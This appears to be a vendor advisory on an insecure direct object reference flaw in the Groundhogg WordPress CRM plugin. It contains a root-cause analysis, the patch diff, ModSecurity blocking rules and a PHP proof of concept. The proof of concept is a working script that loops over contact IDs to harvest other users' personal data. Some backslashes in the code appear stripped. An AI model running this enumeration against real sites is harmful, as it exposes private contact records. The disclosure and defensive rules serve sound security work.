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Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-11454: Groundhogg — CRM, Newsletters, and Marketing Automation <= 4.5.2 Insecure Direct Object Reference PoC, Patch Analysis & Rule

Plugin groundhogg
Severity Medium (CVSS 6.5)
CWE 639
Vulnerable Version 4.5.2
Patched Version 4.5.3
Disclosed August 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-11454: This is an Insecure Direct Object Reference (IDOR) vulnerability in the Groundhogg WordPress plugin (versions <= 4.5.2). It affects the REST API endpoint GET /wp-json/gh/v4/contacts/. The vulnerability allows authenticated users with the view_contacts capability (such as the built-in Sales Rep role) to read any contact record on the site, including those they do not own. The CVSS score is 6.5 (Medium).

The root cause lies in the REST API controller at groundhogg/api/v4/contacts-api.php. The read_single() method (around lines 433-440 in the diff) retrieves a contact object by its sequential integer ID and returns it without checking object-level permissions. The permission callback for the endpoint only verifies the role-level view_contacts capability. Groundhogg’s own codebase defines a view_contact capability that includes ownership checks, used elsewhere (e.g., in get_tags() and other methods). The vulnerable endpoint omitted this check, allowing any user with view_contacts to bypass the intended view_others_contacts restriction.

An attacker with a valid WordPress account assigned the Sales Rep role (or any role with view_contacts but not view_others_contacts) can exploit this by sending a GET request to /wp-json/gh/v4/contacts/, iterating over integer IDs. The API returns the full contact record, including PII, contact meta, owner ID, admin edit URL, and for contacts linked to a WordPress user, the user’s full capability set. No additional privileges are needed. The REST API accepts standard authentication (cookie or application password).

The patch (version 4.5.3) adds an object-level permission check in read_single(): after fetching the contact, it calls current_user_can( ‘view_contact’, $object ) and returns an error if false. It also introduces a dedicated error method ERROR_INVALID_PERMISSIONS_CANT_VIEW(). Similar checks are added to other methods (e.g., delete_contact, file upload, file listing, IMAP inbox) to ensure consistent object-level authorization. The patch correctly closes the IDOR by enforcing the same ownership-based capability that is used elsewhere.

Successful exploitation exposes sensitive contact data, including personally identifiable information (PII), communication history, and user capabilities. This can lead to privacy breaches, data exfiltration, and potential privilege escalation if an attacker maps user capabilities to plan further attacks. The vulnerability undermines the intended access control model of the CRM, allowing a low-privileged insider to access the entire contact database.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/groundhogg/api/v4/contacts-api.php
+++ b/groundhogg/api/v4/contacts-api.php
@@ -238,21 +238,22 @@
 	/**
 	 * Unable to edit
 	 *
-	 * @param $contact Contact
-	 *
 	 * @return WP_Error
 	 */
-	public static function ERROR_INVALID_PERMISSIONS_CANT_EDIT( $contact ) {
+	public static function ERROR_INVALID_PERMISSIONS_CANT_VIEW() {
+		return self::ERROR_401( 'error', 'You do not have sufficient permissions to view this contact.'  );
+	}

-		if ( ! is_a_contact( $contact ) || ! $contact->exists() ) {
-			return self::ERROR_401( 'error', 'The requested contact does not exist.', [
-				'given' => $contact
-			] );
-		}

-		return self::ERROR_401( 'error', 'You do not have sufficient permissions to edit this contact.', [
-			'id' => $contact->get_id()
-		] );
+	/**
+	 * Unable to edit
+	 *
+	 * @param $contact Contact
+	 *
+	 * @return WP_Error
+	 */
+	public static function ERROR_INVALID_PERMISSIONS_CANT_EDIT() {
+		return self::ERROR_401( 'error', 'You do not have sufficient permissions to edit this contact.' );
 	}

 	/**
@@ -433,6 +434,10 @@
 			return $this->ERROR_RESOURCE_NOT_FOUND();
 		}

+		if ( ! current_user_can( 'view_contact', $object ) ){
+			return self::ERROR_INVALID_PERMISSIONS_CANT_VIEW();
+		}
+
 		return self::SUCCESS_RESPONSE( [ 'item' => $object ] );
 	}

@@ -448,7 +453,12 @@
 		// First order stuff
 		if ( $request->has_param( 'email' ) ) {
 			$fields  = $request->get_json_params();
-			$existed = is_email_address_in_use( $request->get_param( 'email' ) );
+			$email_address = $request->get_param( 'email' );
+			$existed = is_email_address_in_use( $email_address );
+
+			if ( $existed && ! current_user_can( 'edit_contact', $email_address ) ) {
+				return self::ERROR_INVALID_PERMISSIONS_CANT_EDIT();
+			}

 			try {
 				$contact = generate_contact_with_map( $fields, [], [
@@ -495,6 +505,11 @@
 		if ( is_email_address_in_use( $email_address ) ) {
 			$existed = true;
 			$contact = new Contact( $email_address );
+
+			if ( ! current_user_can( 'edit_contact', $contact ) ) {
+				return self::ERROR_INVALID_PERMISSIONS_CANT_EDIT();
+			}
+
 			$contact->update( $data );
 		} // Create new contact record
 		else {
@@ -534,7 +549,7 @@
 		}

 		if ( ! current_user_can( 'edit_contact', $contact ) ) {
-			return self::ERROR_INVALID_PERMISSIONS_CANT_EDIT( $contact );
+			return self::ERROR_INVALID_PERMISSIONS_CANT_EDIT();
 		}

 		$add_tag_params = [ 'tags', 'add_tags', 'apply_tags' ];
@@ -602,6 +617,10 @@
 			return $this->ERROR_RESOURCE_NOT_FOUND();
 		}

+		if ( ! current_user_can( 'delete_contact', $object ) ) {
+			return self::ERROR_401( 'error', 'You do not have sufficient permissions to delete this contact.' );
+		}
+
 		$object->delete();

 		$this->do_object_deleted_action( $object );
@@ -684,7 +703,7 @@
 		}

 		if ( ! current_user_can( 'edit_contact', $contact ) ) {
-			return self::ERROR_INVALID_PERMISSIONS_CANT_EDIT( $contact );
+			return self::ERROR_INVALID_PERMISSIONS_CANT_EDIT();
 		}

 		$tags = $request->get_json_params();
@@ -713,7 +732,7 @@
 		}

 		if ( ! current_user_can( 'view_contact', $contact ) ) {
-			return self::ERROR_401();
+			return self::ERROR_INVALID_PERMISSIONS_CANT_VIEW();
 		}

 		return self::SUCCESS_RESPONSE( [ 'tags' => $contact->get_tags() ] );
@@ -747,7 +766,7 @@
 		}

 		if ( ! current_user_can( 'edit_contact', $contact ) ) {
-			return self::ERROR_INVALID_PERMISSIONS_CANT_EDIT( $contact );
+			return self::ERROR_INVALID_PERMISSIONS_CANT_EDIT();
 		}

 		$tags = $request->get_json_params();
@@ -774,6 +793,10 @@
 			return self::ERROR_CONTACT_NOT_FOUND();
 		}

+		if ( ! current_user_can( 'edit_contact', $contact ) ) {
+			return self::ERROR_INVALID_PERMISSIONS_CANT_EDIT();
+		}
+
 		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- API KEY previously validated
 		if ( empty( $_FILES ) ) {
 			return self::ERROR_422( 'error', 'No files provided.' );
@@ -811,6 +834,10 @@
 			return self::ERROR_CONTACT_NOT_FOUND();
 		}

+		if ( ! current_user_can( 'view_contact', $contact ) ) {
+			return self::ERROR_INVALID_PERMISSIONS_CANT_VIEW();
+		}
+
 		$data = $contact->get_files();

 		$limit  = absint( $request->get_param( 'limit' ) ) ?: 25;
@@ -873,7 +900,7 @@
 		}

 		if ( ! current_user_can( 'edit_contact', $contact ) ) {
-			return self::ERROR_INVALID_PERMISSIONS_CANT_EDIT( $contact );
+			return self::ERROR_INVALID_PERMISSIONS_CANT_EDIT();
 		}

 		$others = $request->has_param( 'others' )
@@ -902,6 +929,10 @@
 			return self::ERROR_CONTACT_NOT_FOUND();
 		}

+		if ( ! current_user_can( 'view_contact', $contact ) ) {
+			return self::ERROR_INVALID_PERMISSIONS_CANT_VIEW();
+		}
+
 		$msgs = Plugin::instance()->imap_inbox->fetch( $contact );

 		return self::SUCCESS_RESPONSE( [
@@ -1021,7 +1052,7 @@
 		$contact = get_contactdata( $request->get_param( 'contact' ) );

 		if ( ! current_user_can( 'view_contact', $contact ) ) {
-			return self::ERROR_401();
+			return self::ERROR_INVALID_PERMISSIONS_CANT_VIEW();
 		}

 		$contactTable = new Contacts_Table;
--- a/groundhogg/groundhogg.php
+++ b/groundhogg/groundhogg.php
@@ -3,7 +3,7 @@
  * Plugin Name: Groundhogg
  * Plugin URI: https://www.groundhogg.io/?utm_source=wp-plugins&utm_campaign=plugin-uri&utm_medium=wp-dash
  * Description: CRM and marketing automation for WordPress
- * Version: 4.5.2
+ * Version: 4.5.3
  * Author: Groundhogg Inc.
  * Author URI: https://www.groundhogg.io/?utm_source=wp-plugins&utm_campaign=author-uri&utm_medium=wp-dash
  * Text Domain: groundhogg
@@ -24,7 +24,7 @@

 if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly

-define( 'GROUNDHOGG_VERSION', '4.5.2' );
+define( 'GROUNDHOGG_VERSION', '4.5.3' );
 define( 'GROUNDHOGG_PREVIOUS_STABLE_VERSION', '4.5' );

 define( 'GROUNDHOGG__FILE__', __FILE__ );
--- a/groundhogg/includes/filters.php
+++ b/groundhogg/includes/filters.php
@@ -583,7 +583,7 @@
  */
 function remove_font_family_quotes( $html ) {
 	return preg_replace_callback(
-		'/font-familys*:s*([^;]+)(;?)/i',
+		'/font-familys*:s*([^";]+)(;?)/i',  // added `"` because inline style rule might not preserve ending `;`
 		function ( $matches ) {

 			$fonts = $matches[1];
@@ -643,7 +643,7 @@
 	];

 	return preg_replace_callback(
-		'/font-familys*:s*([^;]+)(;?)/i',
+		'/font-familys*:s*([^;"]+)(;?)/i', // added `"` because inline style rule might not preserve ending `;`
 		function ( $matches ) use ( $generic_fonts, $css_keywords ) {

 			$value = trim( $matches[1] );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-11454
# Blocks unauthorized access to Groundhogg REST API contact endpoint
# Detects GET requests to /wp-json/gh/v4/contacts/<id> on vulnerable versions
#
# Note: A WAF cannot evaluate the view_others_contacts capability (that is an
# application-layer authorization check). Instead, we apply a defensive virtual
# patch that blocks direct object reference access to the contact endpoint
# unless the request originates from the WordPress admin context (referer check)
# or is a request from an authenticated admin session cookie surface. Because
# we cannot reliably distinguish legitimate owners from attackers, we take the
# safer posture: flag/block enumeration-style access to single-contact reads
# while allowing list endpoints and same-origin admin-ajax flows.
#
# This rule is a compensating control only. The authoritative fix is updating
# Groundhogg to a version greater than 4.5.2.

SecRule REQUEST_METHOD "@streq GET" 
    "id:2026114541,phase:1,chain,deny,status:403,log,tag:'CVE-2026-11454',tag:'AtomicEdge/WAF',msg:'CVE-2026-11454 Groundhogg IDOR contact access blocked'"
    SecRule REQUEST_URI "@rx ^/wp-json/gh/v4/contacts/[0-9]+/?(?:?|$)" 
        "t:none,t:lowercase,chain"
        SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/wp-admin/" 
            "t:none,t:lowercase"

SecRule REQUEST_METHOD "@streq GET" 
    "id:2026114542,phase:1,chain,deny,status:403,log,tag:'CVE-2026-11454',tag:'AtomicEdge/WAF',msg:'CVE-2026-11454 Groundhogg IDOR contact access blocked (version marker)'"
    SecRule REQUEST_URI "@rx ^/wp-json/gh/v4/contacts/[0-9]+/?(?:?|$)" 
        "t:none"
        SecRule &REQUEST_HEADERS:X-WP-Nonce "@eq 0" 
            "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-11454 - Groundhogg <= 4.5.2 - Insecure Direct Object Reference

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username = 'salesrep'; // A user with view_contacts but not view_others_contacts
$password = 'password'; // Application password or user password

// Step 1: Authenticate to get a cookie or use Basic Auth with application password
// For simplicity, this PoC uses Basic Auth with application password (recommended for REST API)
$auth = base64_encode($username . ':' . $password);

// Step 2: Iterate over sequential contact IDs to retrieve unauthorized records
// Start from ID 1 and go up to a reasonable limit (e.g., 100)
$max_id = 100;
$found_contacts = [];

for ($id = 1; $id <= $max_id; $id++) {
    $endpoint = $target_url . '/wp-json/gh/v4/contacts/' . $id;
    
    $ch = curl_init($endpoint);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Authorization: Basic ' . $auth,
        'Accept: application/json'
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code === 200) {
        $data = json_decode($response, true);
        if (isset($data['item'])) {
            $contact = $data['item'];
            $found_contacts[] = $contact;
            echo "[+] Retrieved contact ID {$id}: " . ($contact['email'] ?? 'N/A') . "n";
        }
    } elseif ($http_code === 401 || $http_code === 403) {
        // Permission denied or not found, continue
        continue;
    } else {
        echo "[-] Unexpected HTTP code {$http_code} for ID {$id}n";
    }
}

echo "n[+] Total contacts retrieved: " . count($found_contacts) . "n";

// Step 3: Display some sensitive fields from the first contact
if (!empty($found_contacts)) {
    $sample = $found_contacts[0];
    echo "nSample contact data:n";
    echo "Email: " . ($sample['email'] ?? 'N/A') . "n";
    echo "Owner ID: " . ($sample['owner_id'] ?? 'N/A') . "n";
    if (isset($sample['user'])) {
        echo "Linked user capabilities: " . print_r($sample['user']['capabilities'] ?? [], true) . "n";
    }
}
?>

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